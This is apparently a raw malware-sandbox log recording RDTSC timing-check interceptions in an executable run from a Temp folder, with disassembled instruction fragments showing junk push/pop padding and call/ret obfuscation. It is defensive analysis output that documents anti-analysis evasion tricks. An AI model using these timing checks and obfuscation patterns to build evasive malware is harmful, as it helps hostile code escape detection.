Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 76BC7D second address: 76BC83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 76CA10 second address: 76CA60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov esi, dword ptr [ebp+122D29AFh] 0x00000011 push 00000000h 0x00000013 or esi, 6511F943h 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push edi 0x0000001e call 00007F5504BA7168h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], edi 0x00000028 add dword ptr [esp+04h], 0000001Dh 0x00000030 inc edi 0x00000031 push edi 0x00000032 ret 0x00000033 pop edi 0x00000034 ret 0x00000035 and di, 3A52h 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e jp 00007F5504BA7166h 0x00000044 pop eax 0x00000045 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 76D520 second address: 76D524 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 76D524 second address: 76D56B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jns 00007F5504BA7172h 0x0000000e nop 0x0000000f mov dword ptr [ebp+122D1E01h], esi 0x00000015 push 00000000h 0x00000017 mov edi, dword ptr [ebp+122D2D1Dh] 0x0000001d push 00000000h 0x0000001f sbb esi, 1419C673h 0x00000025 xchg eax, ebx 0x00000026 jnc 00007F5504BA716Eh 0x0000002c push eax 0x0000002d pushad 0x0000002e pushad 0x0000002f push esi 0x00000030 pop esi 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 76D56B second address: 76D574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 76D574 second address: 76D578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 76E07C second address: 76E0A0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5504CC35E8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5504CC35F5h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 76E0A0 second address: 76E133 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5504BA7168h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov edi, dword ptr [ebp+122D1E01h] 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007F5504BA7168h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 00000019h 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ebx 0x00000034 call 00007F5504BA7168h 0x00000039 pop ebx 0x0000003a mov dword ptr [esp+04h], ebx 0x0000003e add dword ptr [esp+04h], 00000018h 0x00000046 inc ebx 0x00000047 push ebx 0x00000048 ret 0x00000049 pop ebx 0x0000004a ret 0x0000004b sub edi, dword ptr [ebp+122D3125h] 0x00000051 xchg eax, ebx 0x00000052 pushad 0x00000053 pushad 0x00000054 ja 00007F5504BA7166h 0x0000005a pushad 0x0000005b popad 0x0000005c popad 0x0000005d push edi 0x0000005e jmp 00007F5504BA7174h 0x00000063 pop edi 0x00000064 popad 0x00000065 push eax 0x00000066 push eax 0x00000067 push edx 0x00000068 jmp 00007F5504BA716Fh 0x0000006d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 76FF5A second address: 76FF60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 76FF60 second address: 76FF6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F5504BA7166h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 76EA51 second address: 76EA5B instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5504CC35ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 76EA5B second address: 76EA6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a jp 00007F5504BA7166h 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 76EA6C second address: 76EA76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F5504CC35E6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 774C5B second address: 774C5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 774C5F second address: 774C63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 77601F second address: 776029 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F5504BA7166h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 776029 second address: 77602D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7761B4 second address: 7761BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 779274 second address: 779278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 779278 second address: 779292 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504BA716Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 779292 second address: 779298 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7783AC second address: 7783B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 77A504 second address: 77A51B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5504CC35EBh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 77A51B second address: 77A521 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 77A6A3 second address: 77A6A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 77A6A9 second address: 77A6BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e jng 00007F5504BA7166h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 77F68B second address: 77F691 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 77F80F second address: 77F813 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 77F813 second address: 77F819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 780830 second address: 7808C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504BA7172h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push ebx 0x0000000c jo 00007F5504BA7166h 0x00000012 pop ebx 0x00000013 pop ecx 0x00000014 nop 0x00000015 push dword ptr fs:[00000000h] 0x0000001c push 00000000h 0x0000001e push ebx 0x0000001f call 00007F5504BA7168h 0x00000024 pop ebx 0x00000025 mov dword ptr [esp+04h], ebx 0x00000029 add dword ptr [esp+04h], 00000017h 0x00000031 inc ebx 0x00000032 push ebx 0x00000033 ret 0x00000034 pop ebx 0x00000035 ret 0x00000036 push edx 0x00000037 mov bl, B4h 0x00000039 pop ebx 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 stc 0x00000042 mov eax, dword ptr [ebp+122D046Dh] 0x00000048 js 00007F5504BA7168h 0x0000004e mov ebx, eax 0x00000050 push FFFFFFFFh 0x00000052 push 00000000h 0x00000054 push ecx 0x00000055 call 00007F5504BA7168h 0x0000005a pop ecx 0x0000005b mov dword ptr [esp+04h], ecx 0x0000005f add dword ptr [esp+04h], 0000001Bh 0x00000067 inc ecx 0x00000068 push ecx 0x00000069 ret 0x0000006a pop ecx 0x0000006b ret 0x0000006c mov di, E43Bh 0x00000070 nop 0x00000071 pushad 0x00000072 push eax 0x00000073 push edx 0x00000074 je 00007F5504BA7166h 0x0000007a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7808C5 second address: 7808C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7808C9 second address: 7808D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F5504BA7166h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7808D7 second address: 7808DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7808DB second address: 7808EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jbe 00007F5504BA7170h 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 71A1BB second address: 71A1BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 71A1BF second address: 71A1CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 71A1CB second address: 71A1CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 71A1CF second address: 71A1ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5504BA716Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d push edi 0x0000000e jnc 00007F5504BA7166h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 71A1ED second address: 71A1F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7818B1 second address: 7818B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7818B7 second address: 7818BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 784A02 second address: 784A06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 784A06 second address: 784A0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 784A0C second address: 784A79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov di, 32DCh 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007F5504BA7168h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b sub bx, 0D11h 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push esi 0x00000035 call 00007F5504BA7168h 0x0000003a pop esi 0x0000003b mov dword ptr [esp+04h], esi 0x0000003f add dword ptr [esp+04h], 0000001Ch 0x00000047 inc esi 0x00000048 push esi 0x00000049 ret 0x0000004a pop esi 0x0000004b ret 0x0000004c mov dword ptr [ebp+122D2DC1h], eax 0x00000052 push eax 0x00000053 pushad 0x00000054 push eax 0x00000055 push edx 0x00000056 jbe 00007F5504BA7166h 0x0000005c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 784A79 second address: 784A7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 784A7D second address: 784A87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 784A87 second address: 784A8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 784C2F second address: 784C3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 jnl 00007F5504BA7166h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 784D08 second address: 784D17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5504CC35EBh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 785CE5 second address: 785CE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 785CE9 second address: 785CED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 785DB0 second address: 785DB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 72E29F second address: 72E2A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 72E2A3 second address: 72E2A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 72E2A9 second address: 72E2AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 72E2AD second address: 72E2BA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5504BA7166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 78C7AF second address: 78C7B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 78C7B4 second address: 78C7CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F5504BA7166h 0x0000000a jmp 00007F5504BA7171h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 78C7CF second address: 78C7E5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5504CC35E6h 0x00000008 jnl 00007F5504CC35E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 78F282 second address: 78F296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F5504BA7166h 0x0000000a jnp 00007F5504BA716Ah 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7928CE second address: 79290E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007F5504CC35F3h 0x0000000f mov eax, dword ptr [eax] 0x00000011 jmp 00007F5504CC35F7h 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f pop eax 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 79290E second address: 792912 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 792912 second address: 792918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 792A23 second address: 792A4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jbe 00007F5504BA716Eh 0x0000000d jns 00007F5504BA7168h 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F5504BA716Fh 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 792A4D second address: 792A81 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jno 00007F5504CC35FEh 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 pushad 0x00000015 push edi 0x00000016 push edi 0x00000017 pop edi 0x00000018 pop edi 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 792A81 second address: 5BDBA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pop eax 0x00000007 jne 00007F5504BA7173h 0x0000000d jmp 00007F5504BA716Dh 0x00000012 push dword ptr [ebp+122D0571h] 0x00000018 cld 0x00000019 call dword ptr [ebp+122D273Eh] 0x0000001f pushad 0x00000020 pushad 0x00000021 mov ebx, dword ptr [ebp+122D2A99h] 0x00000027 movzx ebx, bx 0x0000002a popad 0x0000002b pushad 0x0000002c mov esi, dword ptr [ebp+122D2BADh] 0x00000032 mov esi, dword ptr [ebp+122D29FDh] 0x00000038 popad 0x00000039 xor eax, eax 0x0000003b stc 0x0000003c mov edx, dword ptr [esp+28h] 0x00000040 xor dword ptr [ebp+122D1D52h], ecx 0x00000046 jne 00007F5504BA7178h 0x0000004c mov dword ptr [ebp+122D2BD9h], eax 0x00000052 jmp 00007F5504BA7175h 0x00000057 mov dword ptr [ebp+122D1D52h], eax 0x0000005d mov esi, 0000003Ch 0x00000062 jmp 00007F5504BA716Eh 0x00000067 add esi, dword ptr [esp+24h] 0x0000006b jmp 00007F5504BA716Ah 0x00000070 lodsw 0x00000072 jmp 00007F5504BA7173h 0x00000077 add eax, dword ptr [esp+24h] 0x0000007b jne 00007F5504BA7180h 0x00000081 mov ebx, dword ptr [esp+24h] 0x00000085 jg 00007F5504BA7184h 0x0000008b push eax 0x0000008c push eax 0x0000008d push edx 0x0000008e push edx 0x0000008f jmp 00007F5504BA716Fh 0x00000094 pop edx 0x00000095 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7995FD second address: 799608 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 799608 second address: 79960E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 798ABB second address: 798AD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5504CC35F8h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 798E81 second address: 798E98 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5504BA7166h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F5504BA716Bh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 79902A second address: 799043 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5504CC35EAh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push esi 0x0000000d jbe 00007F5504CC35E6h 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 799043 second address: 79904E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F5504BA7166h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7991A5 second address: 7991A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7991A9 second address: 7991CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F5504BA7172h 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 79F13C second address: 79F140 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
